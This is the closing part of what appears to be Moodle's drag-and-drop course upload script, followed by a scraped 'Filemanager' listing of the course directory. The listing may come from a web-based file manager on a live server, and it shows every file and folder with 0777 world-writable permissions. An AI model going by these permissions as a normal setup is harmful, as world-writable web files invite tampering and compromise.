                            // Once done, send any new course module id to the courseeditor to update de course state.
                            self.courseeditor.dispatch('cmState', [result.cmid]);
                        } else {
                            // Error - remove the dummy element
                            resel.parent.removeChild(resel.li);
                            // Trigger form upload complete events.
                            require(['core_form/events'], function(FormEvent) {
                                FormEvent.notifyUploadCompleted(section.get('id'));
                            });
                            new M.core.alert({message: result.error});
                        }
                    }
                } else {
                    // Trigger form upload complete events.
                    require(['core_form/events'], function(FormEvent) {
                        FormEvent.notifyUploadCompleted(section.get('id'));
                    });
                    new M.core.alert({message: M.util.get_string('servererror', 'moodle')});
                }
                // Trigger form upload complete events.
                require(['core_form/events'], function(FormEvent) {
                    FormEvent.notifyUploadCompleted(section.get('id'));
                });
            }
        };

        // Prepare the data to send
        var formData = new FormData();
        formData.append('contents', contents);
        formData.append('displayname', name);
        formData.append('sesskey', M.cfg.sesskey);
        formData.append('course', this.courseid);
        formData.append('section', sectionnumber);
        formData.append('type', type);
        formData.append('module', module);

        // Send the data
        xhr.open("POST", this.url, true);
        xhr.send(formData);
    },

    /**
     * Call the AJAX course editing initialisation to add the editing tools
     * to the newly-created resource link
     * @param elementid the id of the DOM element containing the new resource link
     * @param sectionnumber the number of the selected course section
     */
    add_editing: function(elementid) {
        var node = Y.one('#' + elementid);
        YUI().use('moodle-course-coursebase', function(Y) {
            Y.log("Invoking setup_for_resource", 'debug', 'coursedndupload');
            M.course.coursebase.invoke_function('setup_for_resource', node);
        });
        if (M.core.actionmenu && M.core.actionmenu.newDOMNode) {
            M.core.actionmenu.newDOMNode(node);
        }
    }
};

Filemanager

Name Type Size Permission Actions
ajax Folder 0777
amd Folder 0777
classes Folder 0777
format Folder 0777
report Folder 0777
templates Folder 0777
tests Folder 0777
yui Folder 0777
UPGRADING.md File 3.36 KB 0777
admin.php File 1.79 KB 0777
bulkcompletion.php File 2.66 KB 0777
category.ajax.php File 1.24 KB 0777
changenumsections.php File 4.23 KB 0777
completion.php File 5.95 KB 0777
completion_form.php File 14.35 KB 0777
customfield.php File 1.3 KB 0777
defaultcompletion.php File 3.23 KB 0777
delete.php File 4.3 KB 0777
dndupload.js File 46.42 KB 0777
dndupload.php File 1.54 KB 0777
dnduploadlib.php File 25.84 KB 0777
downloadcontent.php File 3.56 KB 0777
edit.php File 9.9 KB 0777
edit_form.php File 26.75 KB 0777
editbulkcompletion.php File 2.55 KB 0777
editcategory.php File 4.92 KB 0777
editsection.php File 6.24 KB 0777
editsection_form.php File 5.43 KB 0777
enrol.php File 1021 B 0777
externallib.php File 209.73 KB 0777
index.php File 2.8 KB 0777
info.php File 2.74 KB 0777
jumpto.php File 1.26 KB 0777
lib.php File 183.54 KB 0777
loginas.php File 3.04 KB 0777
management.php File 23.02 KB 0777
mod.php File 12.15 KB 0777
modduplicate.php File 1.89 KB 0777
modedit.php File 8.38 KB 0777
modlib.php File 39.18 KB 0777
modregrade.php File 2.25 KB 0777
moodleform_mod.php File 50.92 KB 0777
pending.php File 7.01 KB 0777
recent.php File 8.32 KB 0777
recent_form.php File 6.94 KB 0777
recommendations.php File 1.98 KB 0777
renderer.php File 86.02 KB 0777
report.php File 1.34 KB 0777
request.php File 3.55 KB 0777
request_form.php File 6.6 KB 0777
reset.php File 4.1 KB 0777
reset_form.php File 10.05 KB 0777
resources.php File 4.96 KB 0777
rest.php File 3.28 KB 0777
scales.php File 5 KB 0777
search.php File 4.05 KB 0777
section.php File 8.23 KB 0777
switchrole.php File 3.65 KB 0777
switchrole_form.php File 3.19 KB 0777
tags.php File 2.36 KB 0777
tags_form.php File 1.51 KB 0777
togglecompletion.php File 6.14 KB 0777
upgrade.txt File 19.7 KB 0777
user.php File 8.74 KB 0777
view.php File 13.24 KB 0777
Filemanager